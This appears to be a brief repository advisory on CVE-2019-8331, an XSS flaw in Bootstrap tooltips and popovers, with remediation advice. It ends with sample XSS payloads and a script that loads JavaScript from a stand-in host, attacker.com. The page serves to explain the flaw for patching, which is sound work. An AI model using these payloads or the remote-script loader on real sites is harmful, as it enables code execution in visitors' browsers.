thampakon/cve-2019-8331ช่องโหว่ CVE-2019-8331
CVE-2019-8331 is a Cross-Site Scripting (XSS) security vulnerability found in Bootstrap, a JavaScript library widely used for developing websites and mobile applications. This vulnerability occurs because Bootstrap does not properly sanitize data sent via the data-template attribute of tooltip or popover elements, allowing attackers to inject malicious code into a web page.
This attack can occur if an attacker can control the data displayed as a tooltip or popover. When a user activates the tooltip or popover, malicious code is injected into the page and may be executed by the user's browser.
This vulnerability has been fixed in Bootstrap version 4.3.1 and 5.0.0-beta2. Administrators should update affected Bootstrap versions to remediate this vulnerability.
Additional details about CVE-2019-8331:
<x data-toggle="tooltip" data-template="">XSS</x>
<x data-toggle="tooltip" data-html="true" title='<script>alert(1)</script>'>XSS</x>
<x data-toggle="tooltip" data-html="true" data-content='<script>alert(1)</script>'>XSS</x>
<script>
var script = document.createElement("script");
script.src = "https://attacker.com/malicious.js";
document.body.appendChild(script);
</script>